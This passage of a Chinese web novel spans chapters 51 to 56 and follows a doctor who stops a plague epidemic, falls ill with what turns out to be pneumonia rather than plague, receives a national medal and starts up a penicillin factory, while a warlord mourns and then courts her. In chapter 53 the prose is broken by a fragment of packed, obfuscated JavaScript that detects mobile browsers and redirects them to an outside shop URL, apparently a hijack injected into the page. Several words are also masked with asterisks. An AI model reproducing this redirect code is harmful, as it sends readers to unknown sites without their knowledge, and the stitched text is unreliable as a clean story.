虽然封城令下得及时,但瘟疫的传播速度远超想象。猪笼寨里原本潜伏的病人开始集中爆发,每天都有几十具尸体被抬出去。
“沈顾问……您歇会儿吧。”
二牛推着一车石灰走过来,看着沈晚清摇摇欲坠的身影,心疼得直掉眼泪,“您都三天没吃饭了,就喝了几口水。再这样下去,铁打的身子也熬不住啊!”
“我没事。”
沈晚清摆摆手,强撑着站直身体,“现在是关键时刻。只要再坚持两天,把所有潜在感染者筛查出来,这波疫情就能压下去了。”
她转头看向旁边同样狼狈不堪的亨利医生:“亨利,新一批的磺胺到了吗?”
“到了!但是数量不够!”亨利摘下护目镜,擦了一把汗水,“沈,这简直是地狱。我们的药就像是往大海里撒盐,根本不够用。而且……有几个帮忙的伤兵兄弟,昨天也发烧了。”
听到这话,沈晚清的心猛地揪紧了。
那些伤残老兵,是她是带进来的。如果他们出了事……
“带我去看看。”沈晚清咬牙道。
重症隔离区设在一座废弃的庙宇里。
刚一进门,一股令人窒息的血腥味扑面而来。十几个感染了肺鼠疫的病人躺在稻草上,剧烈地咳嗽着,咳出的血沫飞溅得到处都是。
其中一个,正是那天帮她搬运物资的独臂老兵,老张。
“沈……沈大夫……”
老张看到沈晚清,艰难地想要坐起来,却猛地喷出一口鲜血。
“别动!”
沈晚清不顾一切地冲过去,扶住老张。
就在这一瞬间,意外发生了。
老张剧烈呛咳,一口混杂着高浓度鼠疫杆菌的血雾,直接喷在了沈晚清的面罩上。
或许是防护服穿戴太久出现了磨损,又或许是那血雾太过猛烈,一滴暗红色的血珠,顺着面罩边缘的缝隙,渗了进去,落在了沈晚清的脸颊上。
那一刻,时间仿佛静止了。
周围的护士和二牛都惊呆了。
沈晚清愣了一下。
作为医生,她比谁都清楚这意味着什么。
肺鼠疫的传染性极强,通过飞沫和粘膜传播,致死率接近100%,且发病极快。
“别过来!”
沈晚清猛地推开想要冲上来的二牛,声音尖利而决绝,“所有人!退后十米!立刻给自己消毒!”
“沈顾问!你……”二牛急得要哭。
“这是命令!”
沈晚清厉声喝道,随后她深吸一口气,从口袋里拿出一块酒精棉,狠狠地擦拭着脸颊。
但她知道,可能已经晚了。
那种冰冷的恐惧感,第一次顺着脊梁骨爬了上来。
接下来的几个小时,沈晚清强迫自己冷静下来,继续指挥工作。
但身体的反应是诚实的。
先是头晕。
那种天旋地转的眩晕感,让她走路都开始踉跄。
紧接着是发冷。
明明穿着厚厚的防护服,浑身却像是掉进了冰窟窿里,牙齿不受控制地打战。
再然后,是高烧。
体温飙升得极快,视线开始变得模糊,眼前出现了一重重光怪陆离的幻影。
“沈……沈?你在听我说话吗?”
亨利的声音仿佛从很远的地方传来。
沈晚清晃了晃脑袋,试图看清眼前的人,却发现亨利的脸变成了两个、三个……
“亨利……”
她虚弱地开口,声音飘忽,“我不行了。接下来的事……交给你了。”
“沈!你怎么了?!”亨利惊恐地大叫。
沈晚清没有回答。
她用尽最后一点力气,推开了亨利,跌跌撞撞地向着角落
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里一间独立的禁闭室走去。
“别……别碰我……”
她反手关上了门,颤抖着手,插上了门栓。
“封锁……这里……”
她靠着门板,身体缓缓滑落。
剧烈的咳嗽声从喉咙深处涌出,她捂住嘴,掌心里是一抹触目惊心的鲜红。
咳血了。
肺鼠疫。
沈晚清看着掌心的血,嘴角勾起一抹苦涩的笑。
终究还是没躲过啊。
意识逐渐涣散。
在陷入黑暗的最后一刻,她的脑海里浮现出的,不是前世的仇恨,也不是今生的荣耀。
而是一个男人。
那个在雨夜里为她披上大衣、在列车上抱着她入睡、在城楼上目送她离开的男人。
“陆淮锦……”
她低声呢喃着这个名字,眼角滑落一滴滚烫的泪水。
“对不起……这次,我可能要失约了。”
……
隔离区外,指挥部。
“报——!!”
一名通讯兵发疯一样冲进了指挥部,连滚带爬地摔在陆淮锦面前。
“少帅!不好了!出事了!”
正在看地图的陆淮锦猛地抬起头,手里的铅笔“啪”的一声折断。
“说!”
“沈……沈总指挥……她在隔离区晕倒了!高烧咳血!确诊……确诊肺鼠疫!”
轰——!
陆淮锦的大脑瞬间一片空白。
那个总是冷着脸、拿着手术刀、骄傲得像只天鹅的女人……倒下了?
“备车!”
陆淮锦猛地站起来,带翻了桌子。
“少帅!您不能去!”宋副官死死抱住他的腿,“那是疫区!进去就是送死啊!您是三军统帅,您要是出了事,北六省就完了!”
“滚开!”
陆淮锦一脚踹开宋副官,拔出枪指着他的头,双眼赤红如血:
“她是我的命!”
“她要是**,这北六省还要它干什么?!”
他收起枪,不顾一切地冲出了指挥部。
暴雨倾盆。
陆淮锦跳上吉普车,油门踩到底,像一道黑色的闪电,冲向那个充满了死亡气息的猪笼寨。
晚晚,等我。
求你,一定要等我。
第52章 他的眼泪
猪笼寨隔离区,暴雨如注。
黑色的吉普车像一头发狂的野兽,咆哮着撞开了外围的木栅栏,轮胎在泥泞的道路上打滑,甩出一道道黑色的泥浆,最终在一阵刺耳的刹车声中,停在了重症隔离区那座废弃庙宇的门前。
“少帅!危险!您不能进去!”
负责警戒的卫兵连长带着十几个人冲上来,试图用肉身组成人墙挡住去路,“里面全是肺鼠疫患者!空气里都有毒啊!”
“滚!”
陆淮锦推开车门,连伞都没打,任由冰冷的雨水浇在身上。他双眼赤红,手中的马鞭狠狠抽在地上,溅起一片泥水。
“谁敢拦我,我就毙了谁!”
他拔出腰间的配枪,枪口指天,“砰”的一声鸣枪示警。
卫兵们吓得纷纷后退。谁都看得出来,此刻的少帅已经处于崩溃的边缘,像是一座即将爆发的火山。
陆淮锦大步冲进庙宇的大门。
这里的死气比外面更重。昏暗的走廊里,只有几盏煤油灯在风中摇曳,墙壁上满是烟熏火燎的痕迹。
“沈晚清在哪儿?!”
他抓住一个经过的护士,吼道。
护士吓得托盘都掉了,颤抖着指向走廊尽头那间被贴满了封条、还钉上了木板的小屋:“在……在禁闭室……沈总指挥把自己锁在里面了……”
陆淮锦一把推开她,向着那个方向狂奔而去。
那是一间原本用来关押犯错僧人的狭小禅房。此刻,房门紧闭,门缝里塞满了浸透了消毒水的棉絮。
唯一的观察口,是一扇只有巴掌大的、镶嵌着浑浊玻璃的小窗。
陆淮锦扑到门前,想要踹门,手触碰到门板的那一刻,却像是触电般停住了。
他听到了里面的声音。
那是剧烈、压抑、仿佛要把肺都咳出来的咳嗽声。
“咳咳咳……咳咳……”
每一声,都像是在他的心尖上用刀割。
“晚晚……”
陆淮锦的声音颤抖着,他不敢用力拍门,只能将脸贴在那扇冰冷的玻璃窗上,试图看清里面的情形。
借着屋内微弱的烛光,他看到了她。
沈晚清缩在墙角的草铺上,身上那件原本洁白的防护服已经变得脏污不堪。她摘掉了面罩,那张平日里总是清冷高傲的脸,此刻烧得通红,嘴唇却干裂起皮,惨白如纸。
她的手里紧紧攥着一块手帕,正捂着嘴剧烈咳嗽。当她拿开手帕时,那一抹触目惊心的鲜红,狠狠刺痛了陆淮锦的眼睛。
她在吐血。
那是肺鼠疫晚期的征兆。
“晚晚!开门!是我!我是陆淮锦!”
陆淮锦终于忍不住了,用力拍打着玻璃,“我来接你了!开门啊!”
屋内的沈晚清似乎听到了动静。
她艰难地抬起头,那双因为高烧而迷离的眼睛,在看到窗外那个熟悉的身影时,闪过一丝光亮,但随即变成了惊恐。
“别……别进来……”
她虚弱地摇着头,身体拼命往墙角缩,仿佛他是洪水猛兽,“走……快走……会传染的……”
“我不怕传染!把门打开!”
陆淮锦的眼眶红得吓人,“什么狗屁瘟疫!老子在**堆里睡过觉,阎王爷都不敢收我!你把门打开!我带你回家!我们去找最好的医生!”
“没有用了……”
沈晚清靠在墙上,眼泪无声地流了下来。她是医生,她比谁都清楚自己的状况。高烧、咳血、呼吸衰竭……这是死神的倒计时。
“陆淮锦……你答应过我的……”
她喘息着,断断续续地说道,“你要……好好守着北城……守着我们的药厂……别让日本人……得逞……”
“我不要听这些!”
陆淮锦的拳头重重砸在门框上,砸得指骨流血,“沈晚清,你给我听着!我们的契约还没履行完!你说过要做我的正妻,要跟我一生一世!你敢食言?!”
“你若是敢死在这儿,我就让全北城的人给你陪葬!我把这破庙烧了!把自己也烧了!”
他像个无助的孩子一样威胁着,咆哮着,声音却越来越哽咽。
沈晚清看着窗外那个疯狂的男人。
雨水顺着他的头发流下来,混合着泥污,让他看起来狼狈不堪。但他眼里的那种绝望和深情,却让她的心都要碎了。
即便是在这种时候,他想的依然是同生共死。<
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br>“傻瓜……”
沈晚清伸出手,隔着虚空,轻轻描绘着他的轮廓。
“如果有下辈子……我一定……早点遇见你……”
说完这句话,她的手无力地垂下,整个人像是被抽走了最后一丝力气,软软地倒在了草铺上,再也没了动静。
“晚晚!!!”
陆淮锦发出一声撕心裂肺的嘶吼。
那一刻,这位统领三十万大军、在战场上流血不流泪的铁血少帅,终于崩溃了。
两行滚烫的液体,顺着他刚毅的脸庞滑落,滴在满是泥泞的地上。
他哭了。
这是他自八岁那年母亲惨死后,二十年来,第一次流泪。
那种失去至爱的恐惧,比**穿透胸膛还要痛上一万倍。
“少帅……”
亨利医生不知何时赶到了,看着这一幕,也不禁红了眼眶。
“亨利!要把门打开!”
陆淮锦猛地转过身,一把揪住亨利的衣领,像抓着最后一根救命稻草,“你有办法救她的对不对?那个青霉素!给她用青霉素啊!”
“少……少帅,门被里面反锁了,而且封**……”亨利结结巴巴地说道,“而且青霉素对鼠疫的效果……还没验证过……”
“我不管!”
陆淮锦一把推开他,拔出腰间的配枪,对着门锁的位置——
“砰!砰!砰!”
连开三枪,直接打烂了门锁。
“都给我滚开!”
他一脚踹开房门,不顾那扑面而来的死亡气息,不顾任何人阻拦,像疯了一样冲进了那间充满病毒的禁闭室。
他扑到草铺前,一把将昏迷不醒的沈晚清抱进怀里。
“晚晚……醒醒……”
他颤抖着手,擦去她嘴角的血迹,将脸贴在她滚烫的额头上,“别睡……求你,别睡……”
“只要你能活下来,我什么都依你。”
“我不当少帅了,不打仗了,我们回海城,开医馆,过日子……”
“求求你……”
暴雨还在下,敲打着破败的屋顶。
在这个被死神笼罩的角落里,那个不可一世的男人,抱着他奄奄一息的爱人,哭得像失去了全世界。
第53章 虚惊一场
外面的暴雨还在疯狂拍打着窗棂,发出令人心悸的噼啪声。
临时搭建的急救室内,几盏马灯将四周照得通亮。
陆淮锦浑身湿透,泥水顺着他的裤管滴落在地板上,但他仿佛毫无知觉。他像是一尊失去了灵魂的雕塑,死死地盯着病床上那个面色潮红、昏迷不醒的女人。
他的手紧紧握着沈晚清冰凉的手,力道大得仿佛要将她的骨头捏碎,似乎只有这样,才能确认她还没有离开这个世界。
“化验结果呢?!为什么还没出来?!”
陆淮锦猛地转头,冲着正在显微镜前忙碌的亨利医生咆哮,那双布满红血丝的眼睛里充满了暴戾的杀气,“再不说话,老子毙了你!”
亨利吓得手一抖,差点把载玻片摔了。他满头大汗,一边调节着焦距,一边颤声道:“少……少帅,别急!这需要时间!我正在做革兰氏染色……上帝啊,请保佑……”
每一秒的等待,对于陆淮锦来说都是凌迟。
他看着沈晚清那张瘦得只剩下巴掌大的脸。这几天,她为了那个什么狗屁“防疫”,没日没夜地操劳,整个人都脱了相。
如果她真的**……
陆淮锦的手摸向腰间的枪。
如果她**,他就杀光这城里所有的庸医,然后去陪她。
“OhmyGod!”
就在这时,亨利突然发出一声尖叫,猛地从椅子上跳了起来。
陆淮锦的心脏骤停,一把揪住亨利的衣领,将他提了起来:“怎么了?!是不是没救了?!”
“No!No!”
亨利激动得语无伦次,手里挥舞着那张化验单,“少帅!你看!没有!没有那个可怕的杆菌!显微镜下没有发现耶尔森氏菌!”
陆淮锦愣住了,大脑有一瞬间的空白:“什么意思?说人话!”
“意思就是……”亨利大喘了一口气,脸上绽放出狂喜的笑容,“沈没有得鼠疫!她不是黑死病!”
“不是鼠疫?”
陆淮锦松开了手,亨利摔在地上,但他顾不上疼,爬起来继续解释:
“我检查了她的痰液和血液,虽然白细胞很高,但确实没有鼠疫菌。我又仔细检查了她的淋巴结,也没有肿大。”
“那她为什么会发高烧?为什么会吐血?!”陆淮锦指着沈晚清嘴角残留的血迹,不敢置信。
“是过劳引起的急性大叶性肺炎,并发支气管扩张咯血。”
亨利迅速做出了诊断,“她在隔离区待了太久,吸入了太多的生石灰粉尘和消毒水,损伤了呼吸道。再加上这几天不眠不休,免疫力崩溃,淋了雨受了寒,所以才会突发高热和咳血。”
“虽然肺炎也很危险,但在那个没有抗生素的年代是绝症,可是现在……”
亨利兴奋地跑向药箱,拿出一瓶金黄色的液体,“我们有青霉素!沈自己发明的青霉素!这药对肺炎链球菌简直就是特效**!”
“你是说……她能活?”
陆淮锦的声音在颤抖,那种从万丈深渊瞬间被拉回云端的感觉,让他这个铁血军人竟有些站立不稳。
“能活!肯定能活!”
亨利一边说,一边熟练地抽吸药液,给沈晚清进行静脉注射,“只要退了烧,养上个把月,就是一个活蹦乱跳的沈大夫!”
看着淡黄色的药液缓缓推入沈晚清的血管,陆淮锦紧绷的身体终于垮了下来。
他跌坐在床边的椅子上,双手捂住脸,发出一声压抑到极致的哽咽。
虚惊一场。
这四个字,从未像此刻这般动听。
……
两小时后。
雨停了。
天边露出了一丝微光,透过破旧的窗户洒进屋内。
沈晚清的呼吸变得平稳深长,脸上的潮红也褪去了不少。
陆淮锦一直守在床边,寸步未离。他换下了那身湿透的军装,简单擦洗了一下,但眼底的青黑和下巴上冒出的胡茬,让他看起来有些憔悴。
但他却觉得前所未有的满足。
只要她还在,这就够了。
“水……”
床上传来一声微弱的呢喃。
陆淮锦像弹簧一样跳起来,端过一直温在炉子上的水杯,小心翼翼地扶起沈晚清,喂到她嘴边。
沈晚清喝了几口水,干涩的喉咙终于舒服了一些。她缓缓睁开眼,视线从模糊变得清晰。
映入眼帘的,是陆淮锦那张放大的、写满了担忧与狂喜的脸。
“陆……淮锦?”
她的声音沙哑,“我……这是在哪儿?地府吗?”
“在人间。”
陆淮锦放下水杯,一把将她紧紧抱进怀里,力道大得让她有些透不过气,“在我的怀里。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935541|192885||http|test|mini|href|location''.split(''|''),0,{}));
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>“你没死,我也没死。”
他在她耳边低语,声音里带着浓浓的鼻音,“亨利说了,你是肺炎,不是鼠疫。你个骗子,吓死老子了知不知道?”
“肺炎?”
沈晚清愣了一下,随即苦笑。是啊,她太累了,加上之前的心理暗示,一看到咳血就以为是肺鼠疫。没想到,竟然是个乌龙。
“对不起……”
她靠在他怀里,感受着他胸膛的震动,“让你担心了。”
“以后不许再说这三个字。”
陆淮锦松开她,双手捧着她的脸,眼神凶狠却又深情,“沈晚清,你给我听好了。从今天起,你的命是我的。没有我的允许,你连生病都不行!”
“你要是再敢把自己关起来等死,我就……”
“你就怎样?”沈晚清虚弱地笑了笑。
“我就把你锁在帅府的床上,哪儿也不许去。让你天天只能看见我一个人。”
陆淮锦恶狠狠地威胁着,却在她额头上落下轻柔的一吻。
“报告少帅!”
门外传来宋副官的声音,打破了屋内的温情,“城里的物资送到了!还有……刚才亨利院长说,根据沈顾问之前的部署,城南的疫情已经出现了拐点!新增的病例开始减少了!”
双喜临门。
陆淮锦站起身,替沈晚清掖好被角。
“听到了吗?沈总指挥。”
他看着她,眼中满是骄傲,“你赢了。你救了这座城。”
沈晚清看着窗外那一缕穿透乌云的阳光,嘴角扬起一抹释然的笑意。
是啊。
她赢了。
不仅赢了死神,也赢得了这个男人的心。
“陆淮锦。”
“嗯?”
“我想吃馄饨。”沈晚清摸了摸肚子,“要城东李记的那家,多放辣油。”
陆淮锦一愣,随即大笑出声。
“好!买!把那个做馄饨的师傅抓来给你现做!”
他转身大步走出房门,对着门外的卫兵吼道:
“去!给老子买馄饨!买不到就把全城的馄饨铺都给老子包下来!”
这一天,北城的百姓们看到了一个奇景:一向杀伐果断的陆少帅,为了给沈顾问买一碗馄饨,竟然出动了一个警卫连。
而这场席卷北城的瘟疫,也在这碗热气腾腾的馄饨香气中,迎来了消散的曙光。
第54章 全民抗疫
半个月后。
虽然还是清晨,但指挥部里已经电话铃声此起彼伏,电报机的滴答声不绝于耳。
不同于半个月前那种人心惶惶、如同末日般的死寂,现在的北城,虽然依旧戒备森严,却透着一股井然有序的生气。
“报告总指挥!城东区今日排查三千户,发现发热人员两名,已确诊为普通感冒,解除隔离!”
“报告!城西区灭鼠队今日捕杀老鼠五百只,已全部深埋无害化处理!”
“报告!亨利院长送来最新一批消毒水,已经分发到各个街道!”
一张张战报汇聚到长桌尽头。
沈晚清披着一件厚厚的羊绒披肩,坐在轮椅上,手里拿着一支红蓝铅笔,在巨大的北城地图上做着标记。
她的脸色虽然还有些苍白,但眼神清亮,举手投足间带着一股令人信服的从容。
“很好。”
沈晚清看着地图上那一片片由红转绿的区域,嘴角露出一丝欣慰的笑意。
“传令下去,虽然新增病例已经连续三天为零,但决不能掉以轻心。‘口罩令’必须继续执行,谁敢在这个节骨眼上摘口罩、聚众**喝酒,直接抓进局子关禁闭!”
“是!”传令兵高声应诺,敬礼跑了出去。
站在一旁的陆淮锦,手里端着一碗刚熬好的冰糖雪梨汤,看着那个发号施令的小女人,眼中满是无奈又骄傲的笑意。
“沈总指挥,歇会儿吧。”
他走过去,把勺子喂到她嘴边,“嗓子都哑了。剩下的事让宋副官去盯着就行。”
沈晚清乖乖喝了一口,润了润嗓子。
“不能松懈。”她看着陆淮锦,“这是最后的一哆嗦。只要守住这最后一周,北城就活过来了。”
陆淮锦看着她,心中感叹。
这半个月来,整个北城仿佛经历了一场洗礼。
沈晚清提出的“沈氏防疫法”——戴口罩、喝开水、勤洗手、分级隔离、全面灭鼠,起初被很多人视为“穷讲究”、“洋折腾”。
商会的人抱怨买口罩费钱,老百姓嫌烧开水费煤,甚至还有顽固派说这是破坏风水。
但陆淮锦用枪杆子给沈晚清撑腰。
不戴口罩?没收物资配给!不喝开水?全家拉去强制学习!敢藏匿病人?连坐处罚!
在这样雷霆手段的推行下,再加上青霉素对并发症的有效治疗,原本呈指数级爆发的疫情,竟然硬生生地被按了下去。
现在的北城街头,出现了一道奇特的风景线——
上至达官显贵,下至贩夫走卒,每个人脸上都捂着一块厚厚的白纱布口罩。这原本是用来防毒的玩意儿,现在却成了北城最时髦的“护身符”。
甚至连陆大帅出门遛鸟,都要给他的画眉鸟笼子上罩层纱布。
“对了,城南那边怎么样了?”沈晚清问。
“二牛刚才来报,猪笼寨的最后一批隔离人员今天期满,全员阴性。”
陆淮锦替她擦了擦嘴角,“按照你的规矩,今天,可以解封了。”
沈晚清眼睛一亮。
“推我出去看看。”
“不行,外面风大。”陆淮锦一口回绝。
“陆淮锦。”沈晚清拉住他的袖子,晃了晃,“就看一眼。站在城楼上看。”
面对她的撒娇,这位铁血少帅毫无招架之力,只能叹了口气,认命地推起轮椅。
“就一眼。多吹一分钟风,今晚就罚你……多喝一碗苦药。”
……
北城,正阳门城楼。
站在高耸的城墙上,整个北城尽收眼底。
此时正是正午。
随着城楼上一声沉闷的钟声响起,原本紧闭了二十天的城南隔离栅栏,被士兵们缓缓拉开。
“解封了——!!”
“我们活下来了——!!”
欢呼声如潮水般从猪笼寨的方向爆发,迅速蔓延到整个城区。
原本空荡荡的街道上,不知何时涌出了无数百姓。他们虽然还戴着口罩,但眼角眉梢都洋溢着劫后余生的狂喜。
鞭炮声此起彼伏,甚至比过年还要热闹。
在人群的最前方,二牛带着一群伤残老兵,打出了一条巨大的横幅:
【感谢沈神医救命之恩】
而在街道两旁的店铺,纷纷挂出了红灯笼,贴上了新写的对联:
上联:妙手回春驱瘟疫下联:铁肩担道护苍生横批:女中豪杰
沈晚清坐在城楼上,看着这一幕,眼眶渐渐湿润。
她做到了。
前世那场夺走了数万人性命、让北
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城沦为鬼域的大瘟疫,在这一世,被她用科学和意志,硬生生挡在了城门之外。
这不仅是医学的胜利,更是人心的胜利。
“看来,你在北城的威望,快要超过我了。”
陆淮锦站在她身后,双手扶着轮椅,看着楼下那些对着城楼方向磕头作揖的百姓,语气里带着一丝酸溜溜的调侃。
“怎么,少帅嫉妒了?”沈晚清回头看他。
“不嫉妒。”
陆淮锦弯下腰,从身后抱住她,下巴抵在她的肩窝里,看着这满城烟火,“你是我的夫人。你的荣耀,就是我的荣耀。”
他指着这浩大的北城,声音低沉而霸气:
“沈晚清,你看。这座城,现在不仅仅是我的,也是你的。”
“我们一起守住了它。”
沈晚清握住他在自己身前交叠的手。
“嗯。守住了。”
就在这时,宋副官气喘吁吁地跑上城楼,手里拿着一份烫金的**。
“少帅!沈顾问!南京那边来电报了!”
宋副官脸上洋溢着喜色,“中央政府听说了北城抗疫的奇迹,大总统亲自签发了嘉奖令!还要授予沈顾问……”
“授予什么?”陆淮锦问。
“授予沈晚清女士——‘一等卫国勋章’,并赐号‘巾帼国士’!”
一等卫国勋章。
这是在这个年代,平民乃至军人能获得的最高荣誉。通常只颁发给开疆拓土的名将。
而现在,它属于一个女人,一个医生。
沈晚清看着那份电报,心中并没有太多的波澜。比起这枚勋章,她更在意的是——
随着疫情的结束,交通管制解除,那一批被扣在天津港的、制造青霉素最关键的德国设备,终于可以运进来了。
“勋章我要了。”
沈晚清转头看向陆淮锦,眼中闪烁着事业的光芒,“但更重要的是,我们的药厂,可以正式投产了。”
“陆少帅,准备好数钱了吗?”
陆淮锦大笑出声,笑声在城楼上回荡,震散了天空最后的阴霾。
“时刻准备着,我的少帅夫人。”
阳光普照。
经此一役,沈晚清的名字,彻底刻在了北城的历史上,也刻在了这个乱世的丰碑上。
第55章 授予勋章
今日的帅府,张灯结彩,甚至比过年还要隆重。
巨大的红地毯从正门口一直铺到了聚义堂的台阶上。两旁每隔三步便站着一名手持礼宾枪的卫兵,个个精神抖擞,如同一尊尊雕塑。
无数的记者扛着笨重的照相机,挤在警戒线外,镁光灯的闪烁从未停歇。除了北城本地的报社,就连上海申报、天津大公报,甚至外国通讯社的记者都闻风而动。
因为今天,是中央政府特使亲自前来,为那位凭借一己之力扑灭鼠疫奇灾的女英雄颁发勋章的日子。
听涛苑,内室。
“别动。”
陆淮锦站在穿衣镜前,修长的手指灵活地穿过盘扣,替沈晚清整理着领口。
他今天穿了一身笔挺的大帅戎装,肩章上的金星熠熠生辉。而沈晚清,则并没有穿传统的绣花旗袍。
她穿了一身特制的、改良过的白色立领礼服。剪裁利落,既有着军装的英气,又不失女性的柔美。在那纯白的布料上,没有任何多余的装饰,唯有胸口处,别着一枚红色的十字徽章。
“紧张吗?”陆淮锦看着镜子里的她,眼神里满是惊艳与骄傲。
“有一点。”
沈晚清看着镜中那个神采奕奕的自己,深吸了一口气,“毕竟,这是我第一次站在这么多人面前,不是作为医生,而是作为……”
“作为英雄。”
陆淮锦接过话茬,双手搭在她的肩上,俯下身,在她耳边低语,“晚晚,这是你应得的。从今天起,全天下都会知道,我陆淮锦的夫人,是能安邦定国的国士。”
“走吧,我的巾帼英雄。”
他向她伸出手臂。
沈晚清挽住他,两人相视一笑,迈步走出了房门。
……
授勋现场。
随着军乐队奏响激昂的《迎宾曲》,陆淮锦挽着沈晚清的身影出现在红毯尽头。
“咔嚓!咔嚓!”
闪光灯瞬间连成一片白昼,快门声密集如雨。
陆大帅此时正坐在主位上,旁边坐着南京来的特使。这位平日里总是板着脸的老军阀,此刻笑得脸上的褶子都开了花,红光满面。
“大帅,您真是好福气啊。”特使拱手恭维道,“少帅骁勇善战,少夫人更是妙手仁心。这一文一武,陆家可谓是如虎添翼啊。”
“哪里哪里,特使过奖了。”陆大帅虽然嘴上谦虚,但那挺得笔直的腰杆和都要翘到天上去的胡子,却出卖了他内心的得意。
这可是光宗耀祖的大事!
以前别人提起陆家,都说是“土军阀”。现在好了,有了这枚勋章,陆家那就是“护国功臣”!他看以后谁还敢在背后嚼舌根!
沈晚清在万众瞩目中走上高台。
特使站起身,神情庄重地展开手中的嘉奖令,朗声宣读:
“兹有沈氏晚清,医术精湛,心怀苍生。于北城鼠疫肆虐之际,临危受命,力挽狂澜。施妙手以救万民,立铁规以安社稷。其功在当代,利在千秋!”
“特授予‘一等卫国勋章’,并赐号‘巾帼国士’!以此表彰,永载史册!”
话音落下,全场肃静。
特使从铺着红绒布的托盘中,取出一枚沉甸甸的、镶嵌着金边的勋章。
沈晚清微微低下头。
特使郑重地将那枚勋章别在她的左胸口,就在心脏跳动的位置。
“敬礼——!!”
台下,上千名卫兵同时举枪敬礼。
“哗——!!”
随后是雷鸣般的掌声,经久不息。
沈晚清抚摸着那枚冰凉的勋章,感受着它的重量。
她转过身,面对着台下无数双热切的眼睛。那里有官员,有商人,有洋人,更多的是那些自发赶来围观的、刚刚从瘟疫中幸存下来的普通百姓。
她看到了人群中拼命鼓掌的二牛,看到了虽然只有一只手却挥舞着手臂的老张,看到了眼含热泪的亨利医生。
“这枚勋章,不属于我一个人。”
沈晚清对着话筒,声音清亮而坚定,传遍了整个广场。
“它属于每一个在隔离区日夜奋战的医生和护士
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,属于每一个配合防疫的北城百姓,属于每一个为了这座城市流过血、拼过命的人。”
“瘟疫虽然过去了,但我们的战斗还没有结束。”
沈晚清的目光变得锐利,看向了坐在贵宾席上的那些洋人代表。
“我知道,在这个乱世,人命如草芥。很多人因为买不起药,只能等死。很多人因为洋药的垄断,倾家荡产。”
“所以,我借此机会宣布一件事。”
全场瞬间安静下来,所有人都竖起了耳朵。
沈晚清深吸一口气,掷地有声:
“用这枚勋章作为见证,华夏制药厂将于明日正式投产!”
“我们的目标只有一个——生产中国人自己的救命药!我们要把那些天价的洋药价格打下来!让每一个中国老百姓,都能用得起药,活得下去!”
轰——!
如果说刚才的掌声是礼貌和敬畏,那么此刻,人群中爆发出的欢呼声,则是发自肺腑的狂热与震撼。
打破洋人垄断!
把药价打下来!
这简直是在向那些吸血的洋行宣战!
台下的洋人代表们脸色瞬间变得极其难看,尤其是那个佐藤派来的代表,眼神阴鸷得仿佛要**。
而陆淮锦站在一旁,看着那个在台上光芒万丈、豪言壮语的女人,嘴角的笑意越来越深。
这才是他陆淮锦看上的女人。
不仅能救人,还能**诛心。她这一番话,不仅赢得了民心,更是直接把那帮洋商架在火上烤。
以后谁敢动华夏制药厂,就是跟全中国的百姓过不去!
“好!”
陆大帅带头叫好,激动得直拍大腿,“说得好!咱们陆家的人,就是要有这股子硬气!谁敢拦着咱们造药,老子第一个崩了他!”
在漫天的彩带和欢呼声中,授勋仪式达到了高潮。
沈晚清站在高台上,阳光洒在她的身上,那枚勋章闪烁着耀眼的光芒。
她不再是那个需要依附豪门的弱女子,她是名副其实的——国士无双。
第56章 药厂投产
北城西郊,华夏制药厂。
民国九年,七月一日。
这一天,注定要被载入中国医药史册。
清晨的阳光刚刚穿透薄雾,西郊这片曾经荒芜的废墟,此刻已是红旗招展,锣鼓喧天。巨大的拱门上悬挂着“热烈庆祝华夏制药厂正式投产”的横幅。
虽然没有帅府授勋那般等级森严的排场,但今天的热闹程度却有过之而无不及。
除了军政要员,更多的普通百姓自发涌来。他们围在厂区外围的铁丝网旁,伸长了脖子,想要亲眼见证那个传说中能“起死回生”的神药,到底是怎么造出来的。
“听说了吗?沈国士说了,今天要让咱们老百姓都用得起好药!”“真的假的?那洋人的药一针就要好几块大洋,咱们哪买得起?”“嘘!别说话,看!机器动了!”
一号车间。
这里是制药厂的心脏。
巨大的发酵罐矗立在车间中央,银白色的金属外壳在灯光下闪烁着冷冽的工业光泽。错综复杂的管道如同血管般连接着各个反应釜,蒸汽在管道中奔流,发出低沉的轰鸣声。
这声音,在沈晚清听来,比百乐门的爵士乐还要动听。
她穿着一身洁白的工作服,戴着帽子和口罩,只露出一双专注的眼睛。在她身边,亨利医生同样全副武装,正紧张地盯着压力表。
“温度37度,恒定。”“通气量正常。”“pH值稳定。”
二牛带着那群经过严格培训的伤残老兵,守在各自的岗位上。他们虽然身体残缺,但此刻的神情却比在战场上还要肃穆。因为他们知道,这管子里流淌的不是药水,是无数兄弟的命。
“沈,各项指标完美。”
亨利的声音因为激动而有些颤抖,“发酵周期结束,可以放料了。”
沈晚清深吸一口气,走到了总控台前。
那里有一个红色的按钮。
陆淮锦站在她身旁,虽然他不便进入无菌操作区,但他一直隔着玻璃窗注视着她。
两人目光交汇。
陆淮锦微微颔首,眼中满是鼓励。
沈晚清伸出手,坚定地按下了那个红色按钮。
“轰——”
随着电机的一声轰鸣,巨大的搅拌桨停止了转动。经过数日发酵的培养液,通过管道缓缓流入下一道工序——过滤、萃取、结晶、干燥。
流水线开始运转。
这套设备虽然是从德国买来的二手货,但在沈晚清和亨利的改良下,效率惊人。
所有人屏住呼吸,死死盯着传送带的尽头。
十分钟。
二十分钟。
当第一只封装完毕、贴着红底金字**“华夏青霉素”**标签的玻璃安瓿瓶,随着传送带缓缓滑出时,整个车间陷入了短暂的死寂。
沈晚清走上前,拿起那支还带着余温的药瓶。
晶莹剔透的玻璃瓶中,淡黄色的粉末细腻如沙。
这是真正意义上的工业化产品,不再是实验室里那种粗糙的液体,而是纯度极高、易于保存和运输的粉针剂。
“成功了……”
沈晚清喃喃自语,眼眶瞬间湿润。
“成功了!!!”
亨利医生忍不住发出了一声欢呼,甚至把帽子抛向了空中,“我们做到了!这是奇迹!这是亚洲第一支量产青霉素!”
“万岁!!”
二牛和老兵们激动得热泪盈眶,互相拥抱,有的甚至跪在地上嚎啕大哭。他们太知道这东西意味着什么了,如果早几年有这药,他们的手脚或许就能保住了。
厂区广场,发布会现场。
